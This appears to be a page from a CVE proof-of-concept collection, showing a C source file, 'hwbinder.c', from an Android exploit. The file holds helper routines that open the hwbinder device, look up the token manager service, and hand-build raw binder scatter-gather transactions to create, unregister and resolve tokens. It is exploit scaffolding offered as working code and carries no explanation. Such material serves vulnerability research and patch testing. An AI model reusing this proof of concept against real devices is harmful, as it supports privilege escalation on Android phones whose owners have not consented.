4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / hwbinder.c C
#include "hwbinder.h"

#include<sys/wait.h>

int hwbinder_open(PBINDER_INFO info, size_t mapsize){
    struct binder_version ver;
    size_t max_threads = DEFAULT_MAX_BINDER_THREADS;
    info->fd_ = open(HWBINDER_DEVICE, O_RDWR | O_CLOEXEC);
    CHECK_LOG("binder device open failed!", info->fd_ >= 0);

    if(ioctl(info->fd_, BINDER_VERSION, &ver) < 0)
        return BINDER_VERSION_ERROR;

    if(ioctl(info->fd_, BINDER_SET_MAX_THREADS, &max_threads) < 0)
        return BINDER_SET_MAX_THREADS_ERROR;
    info->mapsize_ = mapsize;
    info->mapped_ = mmap(
        NULL, mapsize, PROT_READ, MAP_PRIVATE, info->fd_, 0);
    if(info->mapped_ == MAP_FAILED)
        return BINDER_MAPPED_ERROR;

    return BINDER_SUCCESS;
}

/* Create wrapper for hidl_strings. */
hidl_string *hidl_string_new(const char *str)
{
   size_t len;
   hidl_string *hstr = calloc(1, sizeof(*hstr));
   if (!hstr)
      return NULL;

   len = strlen(str);

   hstr->buffer_ = (hidl_pointer)malloc(len + 1);
   if (!hstr->buffer_) {
      free(hstr);
      return NULL;
   }

   strcpy(hstr->buffer_, str);
   hstr->size_ = len;
   hstr->owns_buffer_ = 1;

   return hstr;
}

hidl_vec hidl_vec_new(
    BYTE* token,
    size_t size
){
    hidl_vec bundle;
    bundle.buffer = token;
    bundle.owns_buffer = 0;
    bundle.size = size;
    return bundle;
}

uint32_t find_hwservice(
    PBINDER_INFO info, 
    hidl_string* name,
    hidl_string* instance
){
    uint32_t handle = 0;
    hidl_string* hstr = NULL;
    binder_size_t buffer_size = 0;
    struct binder_buffer_object* objs = NULL;
    BYTE buffer[0x1000];
    BYTE rbuffer[0x400];
    binder_size_t offsets[0x10];
    BYTE* ptr = buffer;
    const BYTE* ptr_start = ptr;
    size_t ptr_len = 0x1000;
    size_t rsize = 0x400;

    struct {
        uint32_t cmd_;
        struct binder_transaction_data_sg tr_;
    } __packed data;

    memset(offsets, 0, 0x10);
    memset(rbuffer, 0, rsize);
    memset(&data, 0, sizeof(data));
    memset(ptr, 0, ptr_len);

    memcpy(ptr, HWSERVICE_MANAGER, sizeof(HWSERVICE_MANAGER));
    MOV_PTR(ptr, sizeof(HWSERVICE_MANAGER) + 1);
    ALIGN_32(ptr);

    /**
     * embedded binder object
     * |--------bbo1(service name, parent data point to bbo2)------------|
     * |---------------bbo2(service name data, child data)---------------|
     * |--------bbo3(instance name, parent data point to bbo3)-----------|
     * |---------------bbo3(instance name data, child data)--------------|
     */
    // parent service name
    objs = (struct binder_buffer_object*)ptr;
    objs[0].hdr.type = BINDER_TYPE_PTR;
    objs[0].buffer = (binder_uintptr_t)name;
    objs[0].length = sizeof(hidl_string);
    objs[0].flags = 0;
    objs[0].parent = 0;
    objs[0].parent_offset = 0;
    buffer_size += objs[0].length;
    offsets[0] = (binder_size_t)(ptr - ptr_start);
    // child service name data
    ptr = (BYTE*)(&(objs[1]));
    objs[1].hdr.type = BINDER_TYPE_PTR;
    objs[1].buffer = (binder_uintptr_t)name->buffer_;
    objs[1].length = name->size_ + 1;
    objs[1].flags = 1;
    objs[1].parent = 0;
    objs[1].parent_offset = 0;
    buffer_size += objs[1].length;
    offsets[1] = (binder_size_t)(ptr - ptr_start);
    // parent instance name
    ptr = (BYTE*)(&(objs[2]));
    objs[2].hdr.type = BINDER_TYPE_PTR;
    objs[2].buffer = (binder_uintptr_t)instance;
    objs[2].length = sizeof(hidl_string);
    objs[2].flags = 0;
    objs[2].parent = 0;
    objs[2].parent_offset = 0;
    buffer_size += objs[2].length;
    offsets[2] = (binder_size_t)(ptr - ptr_start);
    // child instance name data
    ptr = (BYTE*)(&(objs[3]));
    objs[3].hdr.type = BINDER_TYPE_PTR;
    objs[3].buffer = (binder_uintptr_t)instance->buffer_;
    objs[3].length = instance->size_ + 1;
    objs[3].flags = 1;
    objs[3].parent = 2;
    objs[3].parent_offset = 0;
    buffer_size += objs[3].length;
    offsets[3] = (binder_size_t)(ptr - ptr_start);
    ptr = (BYTE*)(&(objs[4]));
    
    data.cmd_ = BC_TRANSACTION_SG;
    data.tr_.transaction_data.code = 1;
    data.tr_.transaction_data.target.handle = 0;
    data.tr_.transaction_data.flags = 0x10;
    data.tr_.transaction_data.data_size = 
        (binder_size_t)(ptr - ptr_start);
    data.tr_.transaction_data.offsets_size = 
        (binder_size_t)(4 * sizeof(binder_uintptr_t));
    data.tr_.transaction_data.data.ptr.buffer = 
        (binder_uintptr_t)ptr_start;
    data.tr_.transaction_data.data.ptr.offsets = 
        (binder_uintptr_t)offsets;

    ALIGN_64(buffer_size);
    data.tr_.buffers_size = buffer_size;
    

    binder_write(info, (BYTE*)&data, sizeof(data));
    size_t d = binder_read(info, rbuffer, rsize);
    if(d <= 0){
        perror("reply is null!");
        return 0;
    }
    BYTE* res = parse_binder_message(rbuffer, d);
    struct binder_transaction_data* tr = 
        (struct binder_transaction_data*)res;

    size_t off_count = 
        (size_t)(tr->offsets_size / sizeof(binder_uintptr_t));
    
    binder_size_t* off = (binder_size_t*)tr->data.ptr.offsets;
    // Parse binder object
    for(size_t i=0; i<off_count; i++){
        binder_size_t offset = off[i];

        struct binder_object* obj = 
            (struct binder_object*)
            (tr->data.ptr.buffer + offset);
        
        switch (obj->hdr.type) {
        case BINDER_TYPE_HANDLE:
            handle = obj->fbo.handle;
            binder_acquire(info, handle);
            break;
        default:
            perror("Invalid binder object type");
            break;
        }
    }
    binder_free_buffer(info, tr->data.ptr.buffer);
    return handle;
}

uint32_t get_token_manager(PBINDER_INFO info){
    const char service[] = TOKEN_MANAGER;
    const char instance[] = "default";
    hidl_string* svc = hidl_string_new(service);
    hidl_string* ins = hidl_string_new(instance);
    uint32_t handle = find_hwservice(info, svc, ins);
    FREE(svc);
    FREE(ins);
    return handle;
}


BOOL create_token(
    PBINDER_INFO info, 
    uint32_t tm, 
    uint32_t svc,
    hidl_vec* tk
){
    BYTE reply[0x400];
    BYTE buffer[0x400];
    size_t rsize = 0x400;
    size_t size = 0x400;
    BYTE* ptr = buffer;
    BOOL ret = FALSE;
    const BYTE* ptr_start = ptr;
    binder_size_t buffer_size = 0;
    binder_size_t offsets[0x10];
    struct binder_buffer_object* objs = NULL;
    struct flat_binder_object* fbo = NULL;

    struct {
        uint32_t cmd_;
        struct binder_transaction_data_sg tr_;
    }__packed data;
    
    memset(offsets, 0, 0x10);
    memset(reply, 0, rsize);
    memset(buffer, 0, size);
    memset(&data, 0, sizeof(data));

    memcpy(ptr, TOKEN_MANAGER, sizeof(TOKEN_MANAGER));
    MOV_PTR(ptr, sizeof(TOKEN_MANAGER) + 1);
    ALIGN_32(ptr);

    fbo = (struct flat_binder_object*)ptr;
    fbo->hdr.type = BINDER_TYPE_BINDER;
    fbo->binder = svc;
    offsets[0] = (binder_size_t)(ptr - ptr_start);
    ptr = (BYTE*)(&fbo[1]);

    data.cmd_ = BC_TRANSACTION_SG;
    data.tr_.transaction_data.target.handle = tm;
    data.tr_.transaction_data.code = 1; // create
    data.tr_.transaction_data.flags = 0;
    data.tr_.transaction_data.offsets_size = 
        (binder_size_t)( 1 * sizeof(binder_size_t));
    data.tr_.transaction_data.data_size = 
        (binder_size_t)(ptr - ptr_start);
    data.tr_.transaction_data.data.ptr.buffer = 
        (binder_uintptr_t)ptr_start;
    data.tr_.transaction_data.data.ptr.offsets = 
        (binder_uintptr_t)offsets;

    ALIGN_64(buffer_size);
    data.tr_.buffers_size = buffer_size;

    binder_write(info, (BYTE*)&data, sizeof(data));
    size_t d = binder_read(info, (BYTE*)reply, rsize);
    if(d <= 0){
        perror("reply is null!");
        return FALSE;
    }

    BYTE* res = parse_binder_message(reply, d);
    struct binder_transaction_data* tr = 
        (struct binder_transaction_data*)res;
    size_t off_count = 
        (tr->offsets_size / sizeof(binder_size_t));
    binder_size_t* off = (binder_size_t*)tr->data.ptr.offsets;
    
    // Parse binder object
    for(size_t i=0; i<off_count; i++){
        binder_size_t offset = off[i];

        struct binder_object* obj = 
            (struct binder_object*)
            (tr->data.ptr.buffer + offset);
        
        switch (obj->hdr.type) {
        case BINDER_TYPE_PTR:
        {
            struct binder_buffer_object* bbo = 
                (struct binder_buffer_object*)obj;
            /** 
             * Parse embedded binder object
             * bbo1.buffer(parent object):
             * |-----------------------------parent data---------------------------|
             * |---child data(point to bbo2.buffer)----|-----size-----|-----1------|
             * 
             * bbo2.buffer(child object):
             * |-------------------child data-------------------|
             * |-------------------token data-------------------|
             */
            if(bbo->length == sizeof(hidl_vec)){
                // Parse first bbo
                hidl_vec* tp_tk = (hidl_vec*)bbo->buffer;
                tk->owns_buffer = tp_tk->owns_buffer;
                if(tk->size < tp_tk->size){
                    perror("hidl_vec token buffer too small!");
                    binder_free_buffer(info, tr->data.ptr.buffer);
                    return FALSE;
                }
                tk->size = tp_tk->size;
                continue;
            }else{
                // Parse second bbo
                if(bbo->length == tk->size){
                    memcpy(tk->buffer, (const void*)bbo->buffer, bbo->length);
                    ret = TRUE;
                }
                else
                    ret = FALSE;
            }
            break;
        }
        default:
            perror("Invalid binder object type");
            break;
        }
    }
    binder_free_buffer(info, tr->data.ptr.buffer);
    return ret;
}

BOOL unregister_token(
    PBINDER_INFO info,
    uint32_t tm,
    const hidl_vec* tk
){
    uint32_t handle = 0;
   
    BYTE buffer[0x400];
    BYTE reply[0x400];
    BYTE* ptr = buffer;
    const BYTE* ptr_start = ptr;
    binder_size_t offsets[0x10];
    binder_size_t buffer_size = 0;
    struct binder_buffer_object* objs = NULL;
    size_t size = 0x400;
    size_t rsize = 0x400;

    struct {
        uint32_t cmd_;
        struct binder_transaction_data_sg tr_;
    }__packed data;
    memset(offsets, 0, 0x10);
    memset(buffer, 0, size);
    memset(reply, 0, rsize);
    memset(&data, 0, sizeof(data));
    
    memcpy(ptr, TOKEN_MANAGER, sizeof(TOKEN_MANAGER));
    MOV_PTR(ptr, sizeof(TOKEN_MANAGER) + 1);
    ALIGN_32(ptr);

    objs = (struct binder_buffer_object*)ptr;
    objs[0].hdr.type = BINDER_TYPE_PTR;
    objs[0].flags = 0;
    objs[0].parent = 0;
    objs[0].parent_offset = 0;
    objs[0].buffer = (binder_uintptr_t)tk;
    objs[0].length = sizeof(*tk);
    buffer_size += objs[0].length;
    offsets[0] = (binder_size_t)(ptr - ptr_start);

    ptr = (BYTE*)(&objs[1]);
    objs[1].hdr.type = BINDER_TYPE_PTR;
    objs[1].flags = 1;
    objs[1].parent = 0;
    objs[1].parent_offset = 0;
    objs[1].buffer = (binder_uintptr_t)tk->buffer;
    objs[1].length = (binder_size_t)tk->size;
    buffer_size += objs[1].length;
    offsets[1] = (binder_size_t)(ptr - ptr_start);

    ptr = (BYTE*)(&objs[2]);
    data.cmd_ = BC_TRANSACTION_SG;
    data.tr_.transaction_data.code = 3; // get
    data.tr_.transaction_data.target.handle = tm;
    data.tr_.transaction_data.data_size = 
        (binder_size_t)(ptr - ptr_start);
    data.tr_.transaction_data.offsets_size = 
        (binder_size_t)(2 * sizeof(binder_size_t));
    data.tr_.transaction_data.data.ptr.buffer = 
        (binder_uintptr_t)ptr_start;
    data.tr_.transaction_data.data.ptr.offsets = 
        (binder_uintptr_t)offsets;
    
    ALIGN_64(buffer_size);
    data.tr_.buffers_size = buffer_size;
    
    binder_write(info, (BYTE*)&data, sizeof(data));
    size_t d = binder_read(info, reply, rsize);
    if(d <= 0){
        perror("reply is null!");
        return FALSE;
    }
    // TODO
    print_hex(reply, d);
    BYTE* res = parse_binder_message(reply, d);
    return TRUE;
}

uint32_t get_handle_by_token(
    PBINDER_INFO info,
    uint32_t tm,
    hidl_vec* tk
){
    uint32_t handle = 0;
   
    BYTE buffer[0x400];
    BYTE reply[0x400];
    BYTE* ptr = buffer;
    const BYTE* ptr_start = ptr;
    binder_size_t offsets[0x10];
    binder_size_t buffer_size = 0;
    struct binder_buffer_object* objs = NULL;
    size_t size = 0x400;
    size_t rsize = 0x400;

    struct {
        uint32_t cmd_;
        struct binder_transaction_data_sg tr_;
    }__packed data;
    memset(offsets, 0, 0x10);
    memset(buffer, 0, size);
    memset(reply, 0, rsize);
    memset(&data, 0, sizeof(data));
    
    memcpy(ptr, TOKEN_MANAGER, sizeof(TOKEN_MANAGER));
    MOV_PTR(ptr, sizeof(TOKEN_MANAGER) + 1);
    ALIGN_32(ptr);

    objs = (struct binder_buffer_object*)ptr;
    objs[0].hdr.type = BINDER_TYPE_PTR;
    objs[0].flags = 0;
    objs[0].parent = 0;
    objs[0].parent_offset = 0;
    objs[0].buffer = (binder_uintptr_t)tk;
    objs[0].length = sizeof(*tk);
    buffer_size += objs[0].length;
    offsets[0] = (binder_size_t)(ptr - ptr_start);

    ptr = (BYTE*)(&objs[1]);
    objs[1].hdr.type = BINDER_TYPE_PTR;
    objs[1].flags = 1;
    objs[1].parent = 0;
    objs[1].parent_offset = 0;
    objs[1].buffer = (binder_uintptr_t)tk->buffer;
    objs[1].length = (binder_size_t)tk->size;
    buffer_size += objs[1].length;
    offsets[1] = (binder_size_t)(ptr - ptr_start);

    ptr = (BYTE*)(&objs[2]);
    data.cmd_ = BC_TRANSACTION_SG;
    data.tr_.transaction_data.code = 3; // get
    data.tr_.transaction_data.target.handle = tm;
    data.tr_.transaction_data.data_size = 
        (binder_size_t)(ptr - ptr_start);
    data.tr_.transaction_data.offsets_size = 
        (binder_size_t)(2 * sizeof(binder_size_t));
    data.tr_.transaction_data.data.ptr.buffer = 
        (binder_uintptr_t)ptr_start;
    data.tr_.transaction_data.data.ptr.offsets = 
        (binder_uintptr_t)offsets;
    
    ALIGN_64(buffer_size);
    data.tr_.buffers_size = buffer_size;
    
    binder_write(info, (BYTE*)&data, sizeof(data));
    size_t d = binder_read(info, reply, rsize);
    if(d <= 0){
        perror("reply is null!");
        return 0;
    }
    BYTE* res = parse_binder_message(reply, d);
    struct binder_transaction_data* tr = 
        (struct binder_transaction_data*)res;
    size_t off_count = 
        (tr->offsets_size / sizeof(binder_size_t));
    binder_size_t* off = 
        (binder_size_t*)tr->data.ptr.offsets;
    for(size_t i=0; i<off_count; i++){
        binder_size_t offset = off[i];

        struct binder_object* obj = 
            (struct binder_object*)
            (tr->data.ptr.buffer + offset);
        
        switch (obj->hdr.type)
        {
        case BINDER_TYPE_HANDLE:
        {
            handle = obj->fbo.handle;
            binder_acquire(info, handle);
            break;
        }
        default:
            break;
        }
    }
    return handle;
}